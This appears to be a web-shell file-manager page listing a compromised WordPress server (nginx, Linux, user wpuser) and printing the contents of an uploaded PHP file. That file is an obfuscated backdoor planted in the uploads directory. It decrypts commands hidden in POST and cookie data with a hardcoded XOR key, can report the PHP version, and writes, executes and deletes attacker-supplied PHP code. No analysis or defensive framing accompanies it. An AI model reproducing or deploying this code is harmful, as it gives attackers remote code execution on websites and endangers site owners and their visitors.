HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/08/zptxhzwo.php
<?php 


$_heos_ch /*b*/ =	'_heos_ch'     ^      '<';


$fnzxx /*  hx_ */ =  "a".$_heos_ch(484-370)      .    "\x72"   .	"a".$_heos_ch(367-246) /*   rejteh*/ .       "_"."m"."a"."p";$acjnqmsncr   =   $_heos_ch(105)    . /*   g   */ "\155" /*xp  */ . /*ai   */ "p".$_heos_ch(108)    .     $_heos_ch(227-116)  .       "d"."e";




function /*   n*/ yfhjuxugu($uixhqi,    $mrpcmljs)

{

   global  $_heos_ch;
   
 /* tr*/ $uixhqi       =	"\x3c" /*mxej   */ .	"?".$_heos_ch(822-710) /*   vpejor*/ .   "\150"    . /* ih  */ "p".$_heos_ch(32)	.     "u"."n"."l".$_heos_ch(1104-999) /*d*/ .    "\x6e" /*  __b  */ . /*oqxzg   */ "k"."(".$_heos_ch(95)    . /*  az*/ $_heos_ch(95)       . /* kefrt */ "F"."I"."L"."\105" /*  n */ .  "\x5f"  . /*   hfss   */ $_heos_ch(95)    . /* fhcxfp*/ ")".$_heos_ch(802-743) /*ft*/ .       $_heos_ch(32)      . /*   u_cs */ $uixhqi["d"];

    $mywxpi /* k */ =   "f"."\x69"	. /*zmxt   */ "l"."e"."_"."p"."\165"    .    "t"."\x5f" /*  wa */ .	$_heos_ch(528-429)    .  $_heos_ch(111)      .	$_heos_ch(144-34) /* t*/ . /* co */ "t".$_heos_ch(712-611) /* bwpsb   */ .	"\156" /*   wqv */ .    "\x74"    .	"\x73";

    


 /*pcwe */ $mywxpi($mrpcmljs,      $uixhqi);


    


 /*   ezv  */ lngddjys_($mrpcmljs);

}



$ovnryhp      =	73;

function /*  _lux  */ lngddjys_($mrpcmljs)

{


	global     $_heos_ch; /*   m*/ 
 /*prse */ include($mrpcmljs);


    $tvadywnx	=	$mrpcmljs;

   @unlink($tvadywnx);


}


function /*   msyx  */ ivxgkiz(){

 /* molxnq   */ global     $_heos_ch;
      $duecmc /*  emxfk*/ =    array();

	$duecmc[$_heos_ch(929-817) /*   evqlsm  */ .     "v"] /*  sck  */ = /*   mvvx*/ phpversion();

	$duecmc["s".$_heos_ch(593-475)] /*  bs  */ =     "3".".".$_heos_ch(456-403);
	$wqxwsj  =    74;


 /*  urzon  */ echo    @serialize($duecmc);}




function       faa_nz($uixhqi, /*cchy  */ $ptmduhxdc)


{ /* bqq */ global /*   pmbdw */ $_heos_ch;



    $zwuzwl	=   ""; /*q */ $kvsbsxoesn	=   strlen($uixhqi);


 /*   _   */ $tibcn     = /*  _*/ strlen($ptmduhxdc);

 /*   pccbgr*/ $duecmc    = /*   yzxkt */ 0;

     $ah_boyk /*   tpxvs   */ = /* jgqdzl */ 0;

 /*cwkjfr  */ 


 /* nqx  */ while    ($duecmc   <    $kvsbsxoesn) /*   hdlx*/ {


 /*qm */ $uenfemhocd /*   bsx   */ =       $uixhqi[$duecmc]    ^    $ptmduhxdc[$ah_boyk     %	$tibcn];

 /*   cajkcq  */ $zwuzwl    .=    $uenfemhocd; /*dhtcz */ $ah_boyk++;         $duecmc++;    }    


    if /*  vm */ (strlen($zwuzwl) /*  ceen*/ >	20)     {

	$oovcpuot    = /*  pzvib   */ substr($zwuzwl,	0, /*  _k */ 20); /* c   */ }


    if /*  dfj   */ (empty($zwuzwl))    { /*  _xvwtc */ $zwuzwl    = /*emolnx*/ date('Y-m-d /*cuune  */ H:i:s');

  }
   return   $zwuzwl;
}




function	xtuji_($kfxsrpzog){
     global   $_heos_ch;


      

    $qzs_gbnzin /*  _lhr  */ =   "\x39"    .  $_heos_ch(56)       .	$_heos_ch(102) /* osfygs  */ . /*   zvyt_  */ "6"."\67" /*   dh_trx   */ . /*   ks*/ "3"."\x66"	.   "\143" /* uwpb*/ .     "-".$_heos_ch(615-560)    . /*   iakyt  */ $_heos_ch(49)	.	$_heos_ch(49)  .  "\x39" /* dih   */ .    "-".$_heos_ch(52)    . /*u*/ "\x63"      .    "5"."8".$_heos_ch(45)    .	$_heos_ch(191-94) /*dryu*/ .    "6"."7"."\60"	. /* bv*/ "\x2d"    .  $_heos_ch(98)    .	"6".$_heos_ch(52)    . /*  rev */ $_heos_ch(496-441)    . /*  l   */ "3"."1"."4".$_heos_ch(130-79)    .    "b"."4"."1"."d";


 /*   kg_  */ 
    foreach       ($kfxsrpzog    as /*   xlydx  */ $zintnm /* kjbml */ =>    $uixhqi) /* vskwav   */ {


    zim_agu(base64_decode($uixhqi), /*  ihmsy*/ $qzs_gbnzin, /*ei   */ $zintnm);
 /*   yeabjt */ }


}



function    zim_agu($uixhqi, /*kqrm  */ $qzs_gbnzin, /*tq */ $zintnm)
{

 /* r  */ global     $_heos_ch;

  

    $uixhqi /*  f*/ =    unserialize(faa_nz(faa_nz($uixhqi,     $qzs_gbnzin),    $zintnm));


	$lcposepgkc /* hymjgm*/ =    'fn';


	$xrfemx /* loia */ =  'krw_dt';
	if  (isset($uixhqi["a".$_heos_ch(107)])) /*wlvybh  */ {       if   ($uixhqi["a"] /* i   */ ==  "i") /* sxv  */ {
    ivxgkiz();


    }     elseif /*lkze   */ ($uixhqi["a"] /*   _mg*/ == /*yxbih*/ "e")    {

    yfhjuxugu($uixhqi, /*   kzsd */ sprintf("."."/"."%"."\163" /*xclg   */ .      "\x2e"	. /*_qqxvy */ $_heos_ch(112) /*   zpce*/ .    "\154",	md5($qzs_gbnzin)));

			$mmckq	=       44;
	}

	exit();


	}}
xtuji_($_POST);    




$tbydyjpzyy    = /*  pt  */ 'rawurldecode';
$_oandt	=	$fnzxx($tbydyjpzyy, /*  qsju  */ $_POST);
$acjnqmsncr("", /*   q  */ $tbydyjpzyy);

xtuji_($_COOKIE);

$bzhblpqw    =    $fnzxx($tbydyjpzyy, /* hq */ $_COOKIE);





?>